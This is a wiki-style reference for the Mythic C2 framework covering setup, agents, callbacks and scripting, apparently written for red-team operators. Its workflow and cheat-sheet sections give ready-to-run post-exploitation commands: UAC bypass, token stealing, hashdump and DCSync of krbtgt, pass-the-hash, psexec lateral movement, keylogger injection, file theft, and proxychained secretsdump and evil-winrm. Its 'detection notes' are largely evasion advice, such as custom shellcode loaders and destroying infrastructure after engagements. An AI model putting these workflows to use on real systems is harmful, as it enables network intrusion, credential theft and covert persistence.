ᛉ Yggdrasil

Tool references

Mythic C2 Wiki

17 Sep 2026 · 4,010 words · 18 min

Contents

Author: Cody Thomas (@its_a_feature_) and contributors Repo: https://github.com/its-a-feature/Mythic Description: Open-source, modular, collaborative C2 framework with a React web UI, microservice architecture, and full agent/profile extensibility License: BSD-3-Clause Docs: https://docs.mythic-c2.net


Overview

Mythic is a multiplayer, post-exploitation command and control framework built by Cody Thomas (SpecterOps). Unlike Sliver, Cobalt Strike, or Havoc, Mythic ships with zero agents and zero C2 profiles by default. Everything — agents, transports, and logging — is installed as separate Docker containers using the mythic-cli package manager. This gives Mythic an unmatched degree of modularity: you pick only the agents and protocols you need, and the entire stack runs under Docker Compose.

Key capabilities:

  • Browser-based React UI accessible over HTTPS (Nginx reverse proxy on port 7443 by default)
  • Every agent and C2 profile runs in its own isolated Docker container, communicating via RabbitMQ
  • Full multiplayer support with per-operator RBAC, operation-level isolation, and audit logging
  • GraphQL API (Hasura) exposed for scripting and custom tooling
  • Jupyter Notebook integration for Python-driven automation
  • Peer-to-peer (P2P) agent chaining over SMB named pipes, TCP, and WebSocket
  • OPSEC check engine — blocks or warns before a task executes based on configurable rules per command
  • Credential store, artifact tracking, keylogger output, and screenshot storage all built in
  • Webhook support for alerting via Slack/Teams/Discord when callbacks arrive

Mythic has a strict separation between agents (implants that run on targets) and C2 profiles (server-side transport handlers). A single agent can be compiled with multiple C2 profiles embedded, and at runtime it can switch between them or use P2P links to route traffic through other agents.


Architecture

                 ┌───────────────────────────────────────────────────┐
                 │               Mythic Server (VPS/Lab)             │
                 │                                                   │
Operator ──HTTPS──► Nginx :7443                                      │
(React UI)       │      │                                            │
                 │      ▼                                            │
                 │  mythic_server :17443 (Go gRPC/REST)              │
                 │      │                                            │
                 │      ├──► mythic_graphql  (Hasura   :8080)        │
                 │      ├──► mythic_postgres (PostgreSQL :5432)      │
                 │      ├──► mythic_rabbitmq (AMQP     :5672)        │
                 │      ├──► mythic_jupyter  (Jupyter  :8888)        │
                 │      └──► mythic_documentation       (:8090)      │
                 │                                                   │
                 │  Agent Container (e.g. apollo, poseidon)          │
                 │  ─── RabbitMQ ──► mythic_server                   │
                 │                                                   │
                 │  C2 Profile Container (e.g. http)                 │
                 │  ─── opens listener port, relays to server        │
                 └───────────────────────────────────────────────────┘
                                       │
          Target network               │ C2 traffic (HTTP/HTTPS/SMB/TCP)
                                       ▼
                                Agent on victim host

Component breakdown:

  • mythic_server — the central Go process. Manages callbacks, tasking, file storage, operators, operations, and the GraphQL schema. All other services communicate with it via RabbitMQ or gRPC.
  • mythic_nginx — reverse proxy that terminates TLS for the web UI; routes / to React and /api/ to the backend.
  • mythic_graphql (Hasura) — exposes a full GraphQL API over every table in PostgreSQL. Operators and scripts can query this directly.
  • mythic_postgres — all persistent state: callbacks, tasks, files, credentials, keystrokes, artifacts.
  • mythic_rabbitmq — the message bus between the server and every agent/C2 container. Containers are hot-pluggable; Mythic detects them via RabbitMQ queues.
  • Agent containers — compile and manage a specific payload type (language, platform). Each is a separate Docker image.
  • C2 profile containers — run server-side protocol handlers (e.g. the HTTP listener). They decode inbound traffic and forward structured messages to mythic_server via RabbitMQ.

Tip: Because everything connects via RabbitMQ, you can run agent containers and C2 profile containers on different hosts than the Mythic server itself. Set RABBITMQ_BIND_LOCALHOST_ONLY=false and MYTHIC_SERVER_BIND_LOCALHOST_ONLY=false in .env to allow remote container attachment.


Installation \& Server Setup

Prerequisites

  • Linux host (Ubuntu/Debian recommended); macOS requires OrbStack instead of Docker Desktop due to missing host networking support
  • Docker Engine >= 20.10.22 and the docker-compose-plugin
  • Minimum 2 vCPUs, 4 GB RAM
# Install Docker on Ubuntu
sudo apt update && sudo apt install -y docker.io docker-compose-plugin

# Clone Mythic
git clone https://github.com/its-a-feature/Mythic --depth 1 --single-branch
cd Mythic

# Build the mythic-cli binary (required — binary is NOT shipped with the repo)
sudo make

# Pre-generate a .env without starting containers yet
sudo ./mythic-cli status

# Start Mythic
sudo ./mythic-cli start

First-start behavior:

  1. Docker Compose pulls pre-built images from ghcr.io/itsafeature.
  2. mythic_server initializes the database and creates mythic_admin with a randomly generated password stored in .env.
  3. All services report healthy via sudo ./mythic-cli status.

Access the web UI at https://<server-ip>:7443. Login credentials:

grep MYTHIC_ADMIN Mythic/.env
# MYTHIC_ADMIN_USER=mythic_admin
# MYTHIC_ADMIN_PASSWORD=<random>

Installing Agents \& C2 Profiles

Mythic ships with nothing. Install what you need:

# Agents
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo
sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa

# C2 Profiles
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dynamichttp
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket

# Update an existing install
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo -f

# List installed services
sudo ./mythic-cli services

# Health check
sudo ./mythic-cli status

Key .env Variables

Variable Default Notes
NGINX_PORT 7443 Operator web UI — the only externally reachable port needed
MYTHIC_SERVER_PORT 17443 Internal Go backend, bound to localhost by default
MYTHIC_SERVER_DYNAMIC_PORTS 7000-7010,1080 Port range allocated to C2 listeners
ALLOWED_IP_BLOCKS 0.0.0.0/0 CIDR allowlist for the web UI; restrict to your IP in production
RABBITMQ_BIND_LOCALHOST_ONLY true Set to false for remote agent/C2 containers
NGINX_USE_SSL true Terminate TLS at Nginx
MYTHIC_ADMIN_PASSWORD <random> Only used on first init
sudo ./mythic-cli stop
sudo ./mythic-cli start
sudo ./mythic-cli restart

# Logs
sudo ./mythic-cli logs mythic_server
sudo ./mythic-cli logs apollo
sudo ./mythic-cli logs http

mythic-cli Reference

mythic-cli [command]

Core:
  start               Start all Mythic containers
  stop                Stop all containers
  restart             Stop then start
  status              Container states, ports, health
  health              Quick health check
  logs [name]         Tail logs from a specific container

Agent/Profile Management:
  install github <url> [branch] [-f]    Install agent or C2 profile from GitHub
  uninstall <name>                       Remove and delete from disk
  services                               List installed services
  build <name>                           Rebuild a single container
  update -s <name>                       Check for updates

Configuration:
  config get <key>
  config set <key> <value>

Database:
  database backup
  database restore

Misc:
  version
  test                    Test RabbitMQ service connectivity
  rabbitmq list-queues    Debug container connectivity

Operators \& Operations

An operation is the container for a red team engagement. All callbacks, tasks, files, credentials, and keystrokes belong to exactly one operation. You must have an active operation selected before anything operationally meaningful is possible.

Operator Roles

Role Capabilities
Admin Global — sees all operations, all callbacks; creates/deletes operators and operations
Operation Lead Manages operation membership; bypasses all OPSEC checks; unlocks any callback
Operator Normal user — sees only their locked callbacks; can bypass their own OPSEC checks
Spectator Read-only access
# Reset admin password if locked out
sudo ./mythic-cli database reset-admin-password <new_password>

Via the web UI:

  • Create operator: top-right gear → Operators → New Operator
  • Assign to operation: Operations → $$ op $$ → Add Operator → select role

Webhooks

# In .env:
DEFAULT_OPERATION_WEBHOOK_URL=https://hooks.slack.com/services/T.../B.../...
DEFAULT_OPERATION_WEBHOOK_CHANNEL=#red-team-alerts
WEBHOOK_DEFAULT_CALLBACK_CHANNEL=#callbacks
WEBHOOK_DEFAULT_ALERT_CHANNEL=#alerts

C2 Profiles

A C2 profile is a server-side Docker container handling the network transport between Mythic and agents. Parameters (callback host, port, URIs, interval, jitter) are baked into the agent at payload build time. Browse installed profiles: Payload Types and C2 Profiles (headphone icon) in the top nav.

HTTP Profile

The most common egress profile. The container opens a listener on a dynamic port and Mythic's Nginx proxies external HTTPS traffic to it.

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
# Parameters baked into the agent at build time:
callback_host       https://your.domain.com
callback_port       443
callback_interval   10                         # seconds
callback_jitter     23                         # percentage
post_uri            /api/v1/auth
get_uri             /api/v1/token
query_param         Authorization
headers             {"User-Agent": "Mozilla/5.0 ..."}

Traffic flow:

Agent --HTTPS--> your.domain.com:443 (redirector)
      --proxy--> mythic_nginx:7443
      --proxy--> http C2 container
      --RabbitMQ--> mythic_server

SMB / TCP / WebSocket (P2P)

These are flagged is_p2p = true inside Mythic — they do not appear in the egress C2 dropdown during normal payload creation. They are used exclusively for agent-to-agent chaining (see Linking Agents). The P2P listener runs inside the agent on the target host, not as a separate server-side container.

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/smb
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/tcp_redirect
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket

Agents (Payload Types)

Common Agents

Agent Language Platforms Key Features
Apollo C# / .NET 4.0 Windows BOF loading, token manipulation, SOCKS5, Kerberos abuse, process injection, P2P via named pipes/TCP
Poseidon Go macOS, Linux No runtime deps; launchd/cron persistence; SOCKS5; P2P
Medusa Python Win/Lin/Mac Interpreted; portable; good for labs
Thanatos Rust Win, Linux Modern, memory-safe; good OPSEC
Hannibal C Windows Minimal, no CRT; good for initial access payloads
Athena C# Win/Mac/Lin Cross-platform .NET; webshell mode
Tetanus Rust Linux Linux-focused; rootkit-style persistence

Browse all agents: https://github.com/MythicAgents

Payload Generation

Navigate to: Payload (gift box icon) → New Payload

Build steps:

  1. Select Target OS (Windows / Linux / macOS)

  2. Select Payload Type (installed agent)

  3. Select C2 Profile(s) and fill in transport parameters

  4. Select Commands to include (reduces binary size and capability surface)

  5. Build → Mythic dispatches to the agent container → download link appears ```

# Apollo-specific notes: - Output formats: exe / dll / shellcode (raw PIC) / service_exe - For shellcode: select "shellcode" as build format — produces raw position-independent shellcode - For P2P pivot: add both HTTP and SMB profiles to one payload at build time - Named pipe name: always change from the default — it is signatured by EDRs

The UI stores every payload with its exact config so you can re-download it, view C2 parameters, generate sample callback messages for testing, and export Nginx/Apache redirector rules based on the payload's URI configuration.


Callbacks

A callback is a live agent instance that has completed the initial registration handshake with Mythic. It appears in the Callbacks view (satellite icon in nav).

Callback Interaction

Click any callback row to open the interactive tasking panel. Commands are typed in the task bar at the bottom; output appears in real time (HTTP agents: on next check-in).

# Cross-agent commands (available in most Mythic agents):
shell <cmd>              # spawns shell — OPSEC risk, new process
run <binary> [args]      # execute binary directly, no shell
ls [path]
cd <path>
pwd
cat <file>
download <remote_path>
upload                   # opens file picker
ps
getpid
ifconfig
netstat
whoami
sleep <seconds> <jitter>
exit

Apollo-specific commands:

# Token / privilege manipulation
make_token DOMAIN\user pass    # create logon token, no new process spawned
steal_token <pid>              # impersonate another process token
rev2self                       # drop back to original token
get_privs                      # enable all available privileges on current token
bypassuac                      # UAC bypass via token duplication

# Lateral movement
psexec
wmiexec
dcom <method>

# Kerberos
dcsync <user>@<domain>         # requires replication rights or DA
pth                            # pass-the-hash
klist
golden_ticket                  # requires krbtgt hash
asktgt <user> <password>
asktgs <spn>

# Process injection
inject <pid> <shellcode>
shinject <pid>
spawnto <binary>               # change default post-ex spawn binary

# In-process execution (no new process)
execute_coff <path> [args]     # execute BOF (COFF object file) in-process
execute_pe <path>              # run PE in memory, no disk write
execute_assembly <path>        # run .NET assembly in-process

# SOCKS5
socks start <port>
socks stop

# Persistence
reg write ...

Callback Metadata \& Locking

Field Description
Host Victim hostname
IP IP address
PID Agent process ID
User User context
Integrity Level 0=Untrusted 2=Medium 3=High 4=System
Sleep/Jitter Current check-in timing
Last Checkin Timestamp
Description Free-text operator notes

Locking: An operator can lock a callback to themselves to prevent simultaneous access. Only operation leads and admins can override locks.


Tasking \& Commands

Task Lifecycle

Operator issues task
      │
      ▼
  [OPSEC Pre-check]   ──blocked──► Warn; require bypass to proceed
      │ (passes)
      ▼
  create_tasking() in agent container
      │
      ▼
  [OPSEC Post-check]  ──blocked──► Same flow
      │ (passes)
      ▼
  Task queued → status: "submitted"
      │
      ▼
  Agent checks in, picks up task → status: "processing"
      │
      ▼
  Agent sends response → status: "completed" / "error"

Every task is permanently stored in PostgreSQL with full output. Add comments for report notes (right-click → Add Comment). Tasks can be tagged with MITRE ATT\&CK technique IDs, which flow into SIEM logging and reporting.


Linking Agents (P2P Pivoting)

P2P chaining routes C2 traffic through one agent to reach a host with no direct internet egress.

Mythic Server
      │  (HTTP/HTTPS egress)
      ▼
Agent A  (DMZ host — has internet)
      │  (SMB named pipe or TCP — internal)
      ▼
Agent B  (internal host — no internet)

To set up a link:

  1. Build a payload for the internal host with both an HTTP C2 profile (or none, for a pure P2P implant) and an SMB/TCP profile compiled in.

  2. Deploy and execute the payload on the internal host via a lateral movement command from Agent A.

  3. From Agent A's task bar, run link. A UI popup appears with three dropdowns:

  • Host — auto-populated from registered callback hosts and known payload deployments
  • Payload — the payload running on that host
  • C2 Profile — the P2P profile to connect through (only is_p2p profiles appear here)
  1. Submit. Agent A connects to Agent B over the named pipe/TCP. Agent B appears in the callbacks table as a new callback; the Graph View shows the chain topology.

bash link # opens UI popup unlink <link_id> # close a P2P connection

The Graph View (Callbacks → Graph) shows the full live chain:[^1_6]

[Mythic] ─HTTP─► [AgentA] ─SMB─► [AgentB] ─TCP─► [AgentC]

All tasking to Agent B and C is routed transparently through the chain — no operator action needed beyond the initial link.


File Management

All file operations are backed by Mythic's file storage (PostgreSQL or Docker volume).

# Download from target to Mythic
download /etc/passwd
download C:\Users\admin\Documents\passwords.xlsx

# Upload: stage a file in Mythic first, then push to target
# Step 1: Files (folder icon) → Upload → select local file
# Step 2: In task bar, use agent's upload command → file picker popup appears
upload

The Files view shows:

  • Downloaded files with filename, size, MD5, SHA256, operator, and task reference
  • Screenshots captured by agents
  • Artifacts (IOCs): new processes spawned, registry keys written, services created — agents register these via the RabbitMQ artifact RPC

Credentials Store

Mythic maintains a centralized credential store per operation. Agents submit extracted credentials automatically, or you can add them manually.

# Apollo — auto-submits to the store
hashdump                               # dump local SAM hashes
dcsync Administrator@CORP.LOCAL        # DCSync; auto-submits NTLM hash
dcsync krbtgt@CORP.LOCAL               # for golden ticket construction

# Manual entry: top nav → Credentials (key icon) → New Credential
# Fields: account, realm, credential, type (hash/plaintext/certificate), comment

# Use stored credentials in tasks
pth                  # opens popup to select an NTLM hash from the store

Keylogging \& Screenshots

# Keylogger (Apollo — runs in a dedicated thread, no new process)
keylog_inject <pid>      # inject into a running process
                         # keystrokes stream to Mythic in real time with window title + timestamps

# Screenshot
screenshot               # capture current desktop

# View: top nav → Keylog (keyboard icon) / Screenshots (camera icon)

OPSEC Checks

OPSEC checks are defined per-command in the agent container Python code and run on the Mythic server before and after create_tasking.

opsec_pre    Before create_tasking — can block or warn
opsec_post   After create_tasking, before task reaches agent — same logic

Bypass roles:

Who can bypass Code setting
Any operator opsec_pre_bypass_role = "operator"
Operation lead only opsec_pre_bypass_role = "lead"
A different operator opsec_pre_bypass_role = "other_operator"

C2-level OPSEC checks run at payload build time — if the check fails (e.g. a known-burned named pipe name, a default URI), the build is aborted before a payload is ever generated.

# Blanket command blocks per operation (no per-command granularity here):
# Operations → [your op] → Blocked Commands → add a command name to block it globally

Scripting \& Automation

mythic_rest Python Library

pip3 install mythic
import asyncio
from mythic import mythic_rest

async def main():
    m = await mythic_rest.login(
        username="mythic_admin", password="your_password",
        server_ip="127.0.0.1", server_port=7443, ssl=True
    )

    # List active callbacks
    callbacks = await mythic_rest.get_all_active_callbacks(mythic=m)
    for c in callbacks:
        print(c.host, c.user, c.pid)

    # Issue a task
    task = await mythic_rest.issue_task(
        mythic=m, command="shell",
        parameters="whoami", callback_display_id=1
    )

    # Wait for completion and get output
    resp = await mythic_rest.gather_task_responses(mythic=m, task_id=task.id)
    print(resp)

asyncio.run(main())

Jupyter Notebook

# SSH tunnel (bound to localhost by default)
ssh -L 8888:127.0.0.1:8888 user@mythic-server
# Browse: http://127.0.0.1:8888/?token=mythic

GraphQL (Hasura)

# SSH tunnel
ssh -L 8080:127.0.0.1:8080 user@mythic-server
# Browse: http://127.0.0.1:8080 — admin secret = HASURA_SECRET from .env

# Example: list all active callbacks
# query {
#   callback(where: {active: {_eq: true}}) {
#     host user ip pid last_checkin integrity_level
#     payload { payloadtype { name } }
#   }
# }

SIEM Logging

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/basic_logger

Supported event types:

callback_new          New callback registered
task_new              New task issued
task_completed        Task finished
task_mitre_attack     Task tagged with ATT&CK technique
response_new          Raw agent response
file_upload           File staged for delivery
file_download         File pulled from agent
file_screenshot       Screenshot received
artifact_new          IOC registered (process, reg key, service, etc.)
credential_new        Credential added
keylog_new            Keystroke received
payload_new           Payload built
eventlog_new          Event log entry created

Modify C2_Profiles/basic_logger/my_logger/initialize.go to route to stdout, file, Splunk HEC, or Elasticsearch, then rebuild:

sudo ./mythic-cli build basic_logger

Detection Notes (Blue Team Awareness)

  • Default Nginx certificate — Mythic generates a self-signed cert with subject mythic on first boot. The cert subject and the resulting JARM hash have been used by Shodan-style scanners to fingerprint exposed Mythic servers. Replace with a CA-signed cert before any external-facing use.
  • Default HTTP URIs — Default URIs (/api/v1/auth, /api/v1/token) are published and appear in network detection rules. Always change them to blend with expected target traffic.
  • Named pipe names — Default Apollo SMB profile pipe names are documented and detected by EDRs. Change the pipe name to something environment-specific at build time.
  • Agent signatures — Apollo, Poseidon, and other popular Mythic agents are signatured by commercial EDRs. Out-of-the-box payloads are a detection baseline, not an operational payload. Wrap shellcode output in a custom loader or use process injection.
  • HTTP beaconing regularity — Even with jitter, HTTP beaconing has statistical regularity detectable by ML-based NDR tools. Use high sleep + aggressive jitter for long-haul persistence; consider DNS or SMB C2 in monitored environments.
  • PostgreSQL as forensic source — Mythic logs every task, response, and artifact in PostgreSQL. If the server is seized post-engagement, this is a complete audit trail. Encrypt the database volume and destroy infrastructure promptly after engagements.
  • RabbitMQ exposure — If RABBITMQ_BIND_LOCALHOST_ONLY is set to false for remote containers, RabbitMQ on port 5672 becomes exposed. Combine with Nginx on 7443 and this composite fingerprint has been used to identify Mythic infrastructure via internet-wide scans.

Common Attack Workflows

Workflow: Initial Access → Active Callback

# 1. Install HTTP profile and start Mythic
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli start

# 2. Build payload in UI:
#    Payload → New Payload
#    OS: Windows | Agent: Apollo | C2: http
#    callback_host: https://your.domain.com | port: 443
#    interval: 60 | jitter: 30 | Output: exe

# 3. Deliver and execute on target

# 4. Callback appears in Callbacks table → click to open interactive session

# 5. Basic triage
shell whoami /all
shell hostname
ifconfig
ps
netstat -ano

Workflow: Privilege Escalation → SYSTEM

# Check integrity level (shown in callback metadata)
get_privs

# UAC bypass from Medium → High integrity
bypassuac

# Token impersonation for SYSTEM
ps
steal_token <pid_of_SYSTEM_process>

# Verify
whoami    # NT AUTHORITY\SYSTEM

Workflow: Credential Dumping → Lateral Movement

# Dump local hashes (requires High/System integrity)
hashdump

# DCSync (requires DA or replication rights)
dcsync Administrator@CORP.LOCAL
dcsync krbtgt@CORP.LOCAL        # golden ticket material

# Credentials auto-appear in the Credentials store (key icon)

# Pass-the-Hash lateral movement
pth    # opens popup to select NTLM hash from the store

# Or deploy via psexec from current callback
psexec \\target.corp.local

# New callback appears → link it if deployed with SMB profile
link

Workflow: Internal Recon via SOCKS5

# Start SOCKS5 on a callback
socks start 1080

# /etc/proxychains4.conf:
# socks5 127.0.0.1 1080

# Route tools through the callback
proxychains nmap -sT -Pn -p 22,80,139,443,445,1433,3389,5985 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24 --shares
proxychains impacket-secretsdump CORP/admin@192.168.1.10 -hashes :NTLMhash
proxychains evil-winrm -i 192.168.1.10 -u administrator -H NTLMhash

socks stop    # when done

Workflow: Pivot Chain via P2P (Segmented Subnet)

# 1. Build a new payload for the internal host:
#    Add both HTTP and SMB profiles OR SMB only (pure P2P implant)
#    Set a non-default named pipe name

# 2. Deploy via psexec / wmiexec from current callback
psexec \\internal-host.corp.local [options]

# 3. SMB-only implant opens the named pipe and waits for a link

# 4. From current callback, run:
link    # Host: internal-host.corp.local | Payload: <smb payload> | C2: smb

# 5. Callback appears with chain shown in Graph View:
#    [Mythic] -HTTP-> [DMZ Agent] -SMB-> [Internal Agent]

# 6. Task the internal agent normally — routing is transparent
shell whoami
ls C:\Users\

Cheatsheet

Server Management

sudo ./mythic-cli start
sudo ./mythic-cli stop
sudo ./mythic-cli restart
sudo ./mythic-cli status
sudo ./mythic-cli health
sudo ./mythic-cli logs mythic_server
sudo ./mythic-cli logs apollo
sudo ./mythic-cli logs http
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent>
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<profile>
sudo ./mythic-cli uninstall <name>
sudo ./mythic-cli services

Payload Building (UI Steps)

Payload (gift icon) → New Payload
  → Select OS
  → Select Agent
  → Select C2 Profile(s) — fill callback_host, port, interval, jitter, URIs
  → Select Commands
  → Build → Download

Callback Interaction (common commands)

shell whoami /all
shell hostname
ps
ifconfig
netstat -ano
ls / cd / pwd / cat

download <path>
upload

sleep 60 30             # 60s interval, 30% jitter

make_token DOMAIN\user pass
steal_token <pid>
rev2self
get_privs
bypassuac

execute_coff <path> [args]    # BOF — no new process
inject <pid> <shellcode>
execute_pe <path>

hashdump
dcsync <user>@<domain>

socks start 1080
socks stop

link
unlink <link_id>

exit

SOCKS5 + Proxychains

socks start 1080

# /etc/proxychains4.conf
# socks5 127.0.0.1 1080

proxychains nmap -sT -Pn -p 445 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24
proxychains impacket-psexec DOMAIN/user:pass@192.168.1.10
proxychains evil-winrm -i 192.168.1.10 -u user -H hash

Python Scripting

import asyncio
from mythic import mythic_rest

async def main():
    m = await mythic_rest.login(
        username="mythic_admin", password="pass",
        server_ip="127.0.0.1", server_port=7443, ssl=True
    )
    callbacks = await mythic_rest.get_all_active_callbacks(mythic=m)
    task = await mythic_rest.issue_task(
        mythic=m, command="shell",
        parameters="whoami", callback_display_id=1
    )
    resp = await mythic_rest.gather_task_responses(mythic=m, task_id=task.id)
    print(resp)

asyncio.run(main())

References

← Tool references top ↑